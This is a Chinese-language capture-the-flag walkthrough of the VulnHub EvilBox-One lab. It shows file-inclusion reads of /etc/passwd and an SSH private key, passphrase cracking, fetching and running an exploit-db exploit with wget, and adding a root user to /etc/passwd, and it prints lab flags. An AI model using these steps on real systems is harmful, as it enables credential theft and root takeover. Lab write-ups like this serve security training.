**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:
https://www.vulnhub.com/entry/evilbox-one,736/
难度: 简单
发布时间: 2021年8月16日
提示信息: 无
实验环境
攻击机:VBox kali 192.168.7.3 靶机:Vbox linux IP自动获取
信息收集
扫描主机
nmap -sP 192.168.7.1/24
端口扫描
nmap -sC -sV -p- 192.168.7.100 -oN EvilBox-One.nmap
可以看到开放了22端口和80端口,还是从80端口开始
Web渗透
http://192.168.7.100
80端口是apache的默认页面当前页面没有可利用的信息
目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.100 -x .php,.html,.txt,.zip
扫到一个robots.txt文件和一个secret目录,先看看robots.txt文件内容
wget http://192.168.7.100/robots.txt cat robots.txt
内容里面发现H4x0r可能是个帐号,再看下secret目录
curl http://192.168.7.100/secret/
没有任何内容,继续目录扫描
gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.100/secret/ -x .php,.html,.txt,.zip
扫到evil.php访问看看
还是个空的文件,这就有点可疑了,会不会是个后门,或者文件包含漏洞
wfuzz -c -w ../../Dict/fuzzDicts/paramDict/php.txt -u http://192.168.7.100/secret/evil.php?FUZZ=/etc/passwd|grep -v "0 Ch"
运气很好,第一个字典就跑出来参数了
http://192.168.7.100/secret/evil.php?command=/etc/passwd
passwd文件下发现一个帐号mowree我们记录下来
首先这里有mowree帐户,那必然会有一个mowree用户目录,我们假设用户目录下有个.ssh目录并且.ssh目录下还有个id_rsa文件,尝试读取下
http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa
现在我们把文件下载下来暴破密码
curl wget http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa >> id_rsa ls cat id_rsa
SSH密码暴破
证书下载好就可以暴破了
python3 /usr/share/john/ssh2john.py id_rsa >crack.txt john crack.txt
成功拿到密码unicorn登录ssh
ssh mowree@192.168.7.100 -i /root/.ssh/id_rsa
登录成功,先查下用户目录下有什么文件
id ls cat user.txt
拿到第1个flag
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
权限提升
再看下有什么可以提权的信息
uanme -a
内核版本号4.19.0去exploit-db上查找是否有提权漏洞
选一个最新的试试
复制链接下来到靶机上下载
cd /tmp wget https://www.exploit-db.com/download/47167 chmod +x 47167 ./47167
提权失败没有安装gcc
手动翻了一会也没找到能提权的信息,后来想到有个脚本可以帮你检测到提权的点,但是不记得叫什么名,到群里问过大佬推荐了几个脚本,经过测试最后使用LinEnum这个工具找到/etc/passwd可读写
LinEnum辅助提权脚本
下载地址:
https://github.com/rebootuser/LinEnum
kali攻击机上下载好LinEnum.sh打开http服务
git clone https://github.com/rebootuser/LinEnum.git cd LineNum python3 -m http.server
靶机去下载,加上可执行权限,然后执行
wget http://192.168.7.100:8000/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh
这个脚本挺好用,但是内容太多慢慢看也需要不少时间,最后在这个可读写敏感信息文件这里可以看到/etc/passwd普通用户有读写权限
现在只要往/etc/passwd文件里插入一个root权限的用户即可
首先要生成密码
openssl passwd -1 123456
然后用密码和帐号做个拼接
第一位的root改成你的用户名,后面的x替换成密码
aaa:$1$aaa$8LT9tZ2ZqkvmMt74nqBXo0:0:0:root:/root:/bin/bash
拼接好现在写入到/etc/passwd文件中
vi /etc/passwd cat /etc/passwd
都准备好开始提权
su aaa 输入密码123456 id cd /root ls cat root.txt
成功拿到flag,游戏结束
36QtXfdJWvdC0VavlPIApUbDlqTsBM
END
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.